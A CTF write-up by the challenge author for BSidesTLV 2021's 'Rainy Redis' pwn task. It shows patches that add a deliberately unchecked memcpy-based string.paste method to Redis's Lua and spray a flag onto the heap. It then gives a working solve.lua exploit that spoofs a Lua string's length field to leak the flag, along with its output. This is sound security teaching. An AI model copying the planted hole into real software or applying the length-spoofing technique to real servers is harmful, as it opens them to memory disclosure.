BSidesTLV CTF 2021 - 'Rainy Redis' writeup (pwn)

 Date: September 19, 2021

This year, I had the honour to write some challenges for the BSidesTLV conference :^)

I wrote two challenges: ‘Rainy Redis‘(Pwn) and ‘Speed Trivia‘(Web), below is the intended solution / takeaways.

TL;DR: I wanted to create a fun pwn challenge that can be solved in a reasonable timeframe for a CTF competition, but also involves abusing interpreters, corrupting structures & has real-life impact[0]. So I forked a Redis server and added a new method for Lua(called string.paste()), which gives the CTF player arbitrary write-what-where primitive on the heap. From there, the player should craft a payload written in Lua in order to corrupt the heap in a way that allows to leak the flag from memory.

Category: Pwn

The task:

img

  • The relevant sources/dockerfile were provided (for testing/writing exploits locally). here
    • A Redis server, configured with ACL Rules (allows EVAL only)
    • A (slightly) modified version of a Lua interpreter

Lua and Redis

Every Redis server is shipped with a tiny Lua interpreter, containing some basic modules:

img

This Lua interpreter in Redis allows to perform database transactions. Because the usage of lua is intended only for redis-related operations(GET/SET/etc.): basic lua methods like os.execute() are not permitted. In fact, Redis made sure to sandbox the Lua environment in a way that older methods to abuse Lua(such as abusing lua bytecode with load[1]) simply would not work.

This leaves the attacker with one option: Finding vulns in the underlying implementation of Lua(written in C). Examples for older articles about the subject:

Challenge Analysis

In the zip file that was provided, there is a Dockerfile which:

  • Fetches the sources of a redis server
  • Patches the code (with two .patch files which we will review soon)
  • Running make to compile the redis server
  • Launches the redis server with an ACL rule that allows only executing EVAL commands and nothing else.

As expected from a CTF chall, the vulnerabillity was inserted using the .patch files. Below is a description of the changes that were made to the Redis server:

p1_lua.diff

A new method was added to the string Lua library, called string.paste:

--- redis/deps/lua/src/lstrlib.c        2021-07-15 20:41:26.440551800 +0300
+++ redis/deps/lua/src/lstrlib.c        2021-07-15 20:36:18.949532600 +0300
@@ -824,6 +824,25 @@
 }


+static int str_paste (lua_State *L) {
+    int nargs = lua_gettop(L);  /* number of arguments */
+    size_t l;
+    if (nargs != 4) {
+      return luaL_argerror(L, 0, "string.paste expects 4 arguments(str1, str2, len_to_paste, skip)");
+    }
+
+    const char *s1  = luaL_checklstring(L, 1, &l);
+    const char *s2  = luaL_checklstring(L, 2, &l);
+    lua_Number len  = lua_tonumber(L, 3);
+    lua_Number skip = lua_tonumber(L, 4);
+
+    s2 += (int)skip;
+    memcpy(s2, s1, (size_t)len);
+
+    return 0;
+}
+
+
 static const luaL_Reg strlib[] = {
   {"byte", str_byte},
   {"char", str_char},
@@ -839,6 +858,7 @@
   {"rep", str_rep},
   {"reverse", str_reverse},
   {"sub", str_sub},
+  {"paste", str_paste},
   {"upper", str_upper},
   {NULL, NULL}
 };

As can be seen above, there is mo boudary check before the memcpy -> which gives us a write-what-where primitive whenever we’re using the string.paste lua method. Moreover, the descriptive error message of the function gives us a big hint on how to place our arguments when crafting the final payload (“string.paste expects 4 arguments(str1, str2, len_to_paste, skip)).

p2_scripting_init.diff

In this patch, we added some a hard-coded Lua script that will run during the redis server startup. This loop will run 1000 times and concat the flag’s content with itself. The purpose of this is to trigger memory allocations, ‘spray’ the heap and create copies of the flag in memory.

--- redis/src/scripting.c       2021-06-01 17:03:44.000000000 +0300
+++ redis/src/scripting.c       2021-07-15 20:44:10.429469700 +0300
@@ -1069,6 +1069,13 @@
     s[j++]="  return rawget(t, n)\n";
     s[j++]="end\n";
     s[j++]="debug = nil\n";
+    /* ======== executed during lua state startup ======== */
+    s[j++]="local flag = ''\n";
+    s[j++]="for i = 1,1000,1 do\n";
+    s[j++]="    flag = flag .. 'BSidesTLV2021{demo-flag--demo-flag--demo-flag}'\n";
+    s[j++]="end\n";
+    s[j++]="flag = nil\n"; // clean secret value from Lua context. The flag cannot be available on production env!
+    /* ================================================== */
     s[j++]=NULL;

     for (j = 0; s[j] != NULL; j++) code = sdscatlen(code,s[j],strlen(s[j]));

This also gives the CTF player another hint about the goal: you don’t really have to pop a shell(although that’d be awesome), what you want to aim for is a memory leak.

Let’s pwn

Possible Solutions

Lua’s string.paste could be abused to fetch the flag in number of ways:

  • You can do some heap feng shui (based on size of chunks & calculating offsets, example)
  • You can corrupt a Lua-specific type/struct in order to elevate your write primitive into a read primitive & extract the flag from memory.
  • Lastly, you can also pop a shell and extract /proc/self/mem

In this post, we will focus on the 2nd approach. Mainly since the writeup is intended to be beginner-friendly. Also, the 3rd approach will not fit in a single blog-post anyway(last time I tried it with a different interpreter, it costed me 7 long chapters and some sleepless nights).

The TString struct

Since the redis’ Lua interpreter was modified in the string module, it’s worth to do some quick research and peek on how strings are represented in Lua.

Below is the TString structure layout:

https://github.com/redis/redis/blob/21d3294c7013a4385aebd84436394bb58e273093/deps/lua/src/lobject.h#L196-L207

/*
** String headers for string table
*/
typedef union TString {
  L_Umaxalign dummy;  /* ensures maximum alignment for strings */
  struct {
    CommonHeader;
    lu_byte reserved;
    unsigned int hash;
    size_t len;
  } tsv;
} TString;

Right after the len property: the string begins. It is used as a prefix to understand the length of the string.

Visually, the following Lua variable:

local foo = "Hello World!"

Will be represented in memory like that:

            +-------------------+---------------+----------+---------------+-----------+--------------------------+
   size     |                                                              |  8 bytes  |       12 bytes           |
            +-------------------+---------------+----------+---------------+-----------+--------------------------+
            |                   |               |          |               |           |                          |
description |   ...heap data... | CoommonHeader | lu_byte  | unsigned int  |   size_t  |   ...the string itself   |
            |                   |     fields    | reserved |    hash       |    len    |                          |
            +--------------------------------------------------------------+-----------+--------------------------+
  value     |    random stuff   |      <not relevent for this post>        |     12    |   "Hello world!"         |
            +--------------------------------------------------------------+-----------+--------------------------+

Hacking a TString

We can use string.paste() to ‘paste’ 8 bytes from one string to another in a negative offset of -8, which will overwrite the len of the TString struct.

local foo = "Hello World!"               -- foo has length field of 12
string.paste('AAAAAAAA', foo, 8, -8)     -- now foo has length of 0x4141414141414141 :^)

By doing that, we are making the string length to turn from 12 to a very large number. Now because the length of foo is a lot bigger, it will disclose the Hello World! string and anything that comes after it. In other words, you just elevated your ‘blind write-what-where’ abillity into an arbitrary read. Quite an awesome technique, btw I didn’t re-invent the wheel, this technique(spoofing a string length) is actually a common thing that pwners are trying to achieve when breaking the native layer of a language interpreter[2].

Leaking the flag from memory

Below is the solve.lua script:

local get_flag = function() 
    -- step 1: prep vars
    local pwnable_str = ''
 
    -- step 2: abusing memcpy to gain a long read primitive
    string.paste('AAAAAAAA', pwnable_str, 8, -8)

    -- step 3: scan leaked mem until profit ( ͡◕ _ ͡◕)👌
    local offset = string.find(pwnable_str, 'BSidesTLV')
    return string.sub(pwnable_str, offset, offset+0x100) -- leaking 0x100 bytes
end

return get_flag()

Output:

$ ./redis-cli --user default --pass default-pwd -h rainy-redis.ctf.bsidestlv.com --eval solve.lua 
"BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n
-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-
cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w
0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSide
sT"

Flag: BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}

I hope you find this challenge interesting as much as I did :)

 Tags:  ctf pwn redis

Previous
⏪ ICHSA CTF 2021 - 'Epic Game' writeup (pwn)

Next
TamilCTF - Pwn challs solutions ⏩